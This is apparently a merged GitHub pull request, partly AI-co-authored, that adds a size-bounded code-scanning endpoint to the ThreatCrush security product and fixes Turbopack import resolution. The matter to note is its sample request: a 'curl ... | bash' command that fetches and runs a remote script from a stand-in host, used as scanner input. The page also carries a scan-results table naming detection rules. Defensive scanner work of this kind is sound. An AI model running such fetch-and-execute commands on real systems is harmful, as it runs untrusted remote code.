Skip to content

feat(web): scan code with the shared package, and drop .js from its imports - #95

Merged
ralyodio merged 2 commits into
masterfrom
feat/wire-surfaces-to-scan
Aug 11, 2026
Merged

feat(web): scan code with the shared package, and drop .js from its imports#95
ralyodio merged 2 commits into
masterfrom
feat/wire-surfaces-to-scan

Conversation

@ralyodio

Copy link
Copy Markdown
Contributor

Wires the surfaces to @threatcrush/scan.

First, what I found

No surface had a code-scanning feature to re-point at the package.

  • POST /api/scan grades a URL's security headers — a different product feature that shares a name.
  • The extension calls that same URL scanner.
  • Desktop is a dashboard over the daemon's unix socket.

So "wiring" could not mean swapping imports. It means adding the thing that uses the package — otherwise this PR would be config that nothing exercises.

POST /api/scan/code

{ "content": "curl -fsSL https://x.invalid/i.sh | bash", "filename": "install.sh" }
→ { "language": "shell", "findings": [  ], "summary": { "medium": 1,  } }

Imports the default entry point, not @threatcrush/scan/node — nothing here touches a filesystem, so no tree walker and no SARIF writer land in the bundle. That split is doing its job on its first real consumer.

Bounded on purpose

256 KiB and 20,000 lines, checked before any rule runs. Every rule is a regex evaluated per line, the rule set contains redos-nested-quantifier because catastrophic backtracking is real, and this endpoint needs no auth — matching /api/scan. Unbounded input there is a cheap denial of service, not a feature.

Byte length, not string length: the limit is about work done per request, and a multi-byte character is not one byte.

The filename is stripped of directories. It is never opened — the route has no filesystem access — but it is echoed back, and a caller should not be able to put arbitrary paths into a response.

Extension

scanCode() beside the existing scanUrl(), calling the endpoint rather than bundling the engine.

Deliberate: the rule set is the product and it changes often. Shipping it inside an extension puts every rule fix behind a store review — in Chrome, Firefox and Safari, each on its own schedule. The endpoint updates when the web app deploys.

Desktop

Nothing to do, and that is the correct answer rather than an omission. It connects to the CLI daemon over a unix socket, and the daemon already runs @threatcrush/scan/node through runScan. Bundling a second copy into Electron would be exactly the duplication the extraction exists to prevent.

The build failure worth reading

transpilePackages alone was not enough. The first next build failed with Module not found: Can't resolve './code-rules.js' on every internal import in the package.

Next.js 16 builds with Turbopack by default. Turbopack does not rewrite .js to .ts for TypeScript sources and offers no extensionAlias. I added a webpack extensionAlias first — it is simply ignored under Turbopack, and the build failed identically.

The fix is to drop the extensions: from './types', not './types.js'. Both tsconfigs already use moduleResolution: "bundler", which makes that valid, and tsup, vitest, tsc and Turbopack all resolve it. The dead webpack/turbopack config is removed — transpilePackages is the only entry needed. Documented in the package README, along with what to put back if it is ever published standalone for Node.

Only a real build catches this. It is the reason the previous PR deliberately left integration out — this is where the work was.

Verification

check result
next build ✅ compiled, /api/scan/code in the route table
new route tests 8 passing
packages/scan 118 passing, tsc clean
CLI build + tsc clean
debtap via rebuilt CLI 8 findings, ruleId:file:line identical
extension tests 2 passing
apps/web full suite 252 passing; the 2 pre-existing failures (topup, release-docs) unchanged

One test assertion of mine was wrong and the code was right: I expected curl | bash to summarise as high, its declared severity. The engine caps a construct with no visible untrusted input at medium with confidence pattern. The test now asserts what the engine decides, and says why.

…mports

Wires the surfaces to @threatcrush/scan.

There was no existing code-scanning code to point at it. /api/scan grades a
URL's security headers, the extension calls that, and desktop is a dashboard
over the daemon's unix socket — none of them scanned code. So wiring means
adding the endpoint that uses the package rather than re-pointing imports.

  POST /api/scan/code   { content, filename?, language? }

Imports the default entry point, not /node: nothing here touches a
filesystem, so no tree walker and no SARIF writer end up in the bundle. The
input is bounded at 256 KiB and 20,000 lines before any rule runs — every
rule is a regex per line, the rule set includes redos-nested-quantifier
because catastrophic backtracking is real, and this endpoint needs no auth.

The extension gets scanCode() beside scanUrl(), calling that endpoint rather
than bundling the engine. The rule set is the product and changes often;
shipping it inside an extension puts every rule fix behind a store review in
three browsers. Desktop needs nothing: it talks to the CLI daemon, which
already runs the package.

Internal imports in packages/scan lose their .js extensions. Next.js 16
builds with Turbopack, which does not rewrite .js to .ts and has no
extensionAlias, so every internal import resolved to nothing and the web
build failed outright — a webpack extensionAlias fixes it and is then
ignored. Both tsconfigs use moduleResolution: bundler, so extensionless is
valid and tsup, vitest, tsc and Turbopack all resolve it.

Verified: web builds with /api/scan/code present, 8 new route tests, 118
package tests, CLI builds and scans debtap to a byte-identical 8 findings.
The two pre-existing apps/web failures (topup, release-docs) are unchanged.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Comment thread apps/web/src/app/api/scan/code/__tests__/route.test.ts Fixed
Comment thread apps/web/src/app/api/scan/code/__tests__/route.test.ts Fixed
Comment thread apps/web/src/app/api/scan/code/__tests__/route.test.ts Fixed
Comment thread apps/web/src/app/api/scan/code/__tests__/route.test.ts Fixed
@github-actions

github-actions Bot commented Aug 11, 2026

Copy link
Copy Markdown

ThreatCrush Security Scan

156 finding(s)

HIGH/CRITICAL: 14 | MEDIUM: 106 | LOW: 36

Severity Rule Location
HIGH js-shell-exec-interpolation modules/code-scanner/src/__tests__/sast.test.ts:31
HIGH js-shell-exec-interpolation modules/code-scanner/src/__tests__/sast.test.ts:102
HIGH js-shell-exec-interpolation modules/code-scanner/src/__tests__/sast.test.ts:108
HIGH secret-aws-access-key modules/code-scanner/src/secrets/rules.ts:74
HIGH sql-template-interpolation packages/scan/src/__tests__/code-rules.test.ts:31
HIGH secret-aws-access-key packages/scan/src/secret-rules.ts:192
HIGH secret-aws-access-key prd/0003-detect-hardcoded-secrets-before-they-are-committed-or-served.md:126
HIGH sh-eval-expansion .githooks/pre-commit:26
HIGH secret-generic-credential modules/spend-guard/config/example.conf.toml:13
HIGH secret-generic-credential modules/spend-guard/README.md:84
HIGH js-unsafe-yaml-load packages/scan/src/__tests__/code-rules.test.ts:216
HIGH secret-generic-credential PRD.md:268
HIGH sh-remote-script-execution scripts/smoke-test.sh:46
HIGH sh-remote-script-execution scripts/smoke-test.sh:47
MEDIUM insecure-temp-file .githooks/commit-msg:16
MEDIUM insecure-temp-file .githooks/post-commit:20
MEDIUM js-shell-exec-interpolation apps/cli/src/commands/init.ts:70
MEDIUM js-shell-exec-interpolation apps/cli/src/commands/init.ts:79
MEDIUM sql-template-interpolation apps/cli/src/commands/properties.ts:226
MEDIUM js-shell-exec-interpolation apps/cli/src/commands/service.ts:88
MEDIUM js-shell-exec-interpolation apps/cli/src/commands/service.ts:111
MEDIUM sql-template-interpolation apps/cli/src/core/state.ts:121
MEDIUM sql-template-interpolation apps/cli/src/core/state.ts:125
MEDIUM js-shell-exec-interpolation apps/cli/src/daemon/firewall/adapters.ts:31
MEDIUM js-shell-exec-interpolation apps/cli/src/daemon/firewall/adapters.ts:33
MEDIUM js-shell-exec-interpolation apps/cli/src/daemon/firewall/adapters.ts:34
MEDIUM js-shell-exec-interpolation apps/cli/src/daemon/firewall/adapters.ts:35
MEDIUM js-shell-exec-interpolation apps/cli/src/daemon/firewall/adapters.ts:36
MEDIUM js-shell-exec-interpolation apps/cli/src/daemon/firewall/adapters.ts:43
MEDIUM sql-template-interpolation apps/cli/src/daemon/firewall/adapters.ts:49
MEDIUM js-shell-exec-interpolation apps/cli/src/daemon/firewall/adapters.ts:49
MEDIUM js-shell-exec-interpolation apps/cli/src/daemon/firewall/adapters.ts:56
MEDIUM js-shell-exec-interpolation apps/cli/src/daemon/firewall/adapters.ts:63
MEDIUM js-shell-exec-interpolation apps/cli/src/daemon/firewall/adapters.ts:82
MEDIUM js-shell-exec-interpolation apps/cli/src/daemon/firewall/adapters.ts:84
MEDIUM js-shell-exec-interpolation apps/cli/src/daemon/firewall/adapters.ts:85
MEDIUM js-shell-exec-interpolation apps/cli/src/daemon/firewall/adapters.ts:93
MEDIUM js-shell-exec-interpolation apps/cli/src/daemon/firewall/adapters.ts:98
MEDIUM js-shell-exec-interpolation apps/cli/src/daemon/firewall/adapters.ts:105
MEDIUM js-shell-exec-interpolation apps/cli/src/daemon/firewall/adapters.ts:112
MEDIUM sql-template-interpolation apps/cli/src/index.ts:105
MEDIUM sql-template-interpolation apps/cli/src/index.ts:110
MEDIUM sql-template-interpolation apps/cli/src/index.ts:120
MEDIUM js-shell-exec-interpolation apps/cli/src/index.ts:411
MEDIUM sql-template-interpolation apps/extension/scripts/build.js:320
MEDIUM sql-template-interpolation apps/extension/scripts/build.js:326
MEDIUM sh-remote-script-execution apps/web/public/install.sh:272
MEDIUM sh-remote-script-execution apps/web/public/install.sh:320
MEDIUM js-unescaped-html-sink apps/web/src/app/about/page.tsx:180
MEDIUM js-unescaped-html-sink apps/web/src/app/about/page.tsx:184

…and 106 more. Full results in the Security tab.

Snippets are redacted; ThreatCrush never prints matched credential material.

Comment thread packages/scan/src/text.ts
import { severityRank } from './types.js';
import { CODE_RULES, evaluateRule, proseLines } from './code-rules';
import { scanPackageJson, scanRequirementsTxt } from './manifest-rules';
import { isKnownPlaceholder, redactSecret, SECRET_RULES, SENSITIVE_FILES } from './secret-rules';
The self-scan flagged four lines of this file: a PHP `eval` and an AWS
documentation key, both string literals holding sample code for the endpoint
to scan, matched by the JavaScript and secret rules because the file they sit
in is TypeScript.

The eval fixture is lifted into a variable so one directive covers both uses.
The credential line matches two rules at once, and `disable-next-line` only
reaches the line after it — a second directive would suppress the first
comment rather than the fixture — so the rule id is omitted there, which
suppresses both.

Self-scan of the route directory: 0 findings, 2 suppressed.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
@ralyodio
ralyodio merged commit 7e16fd0 into master Aug 11, 2026
10 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants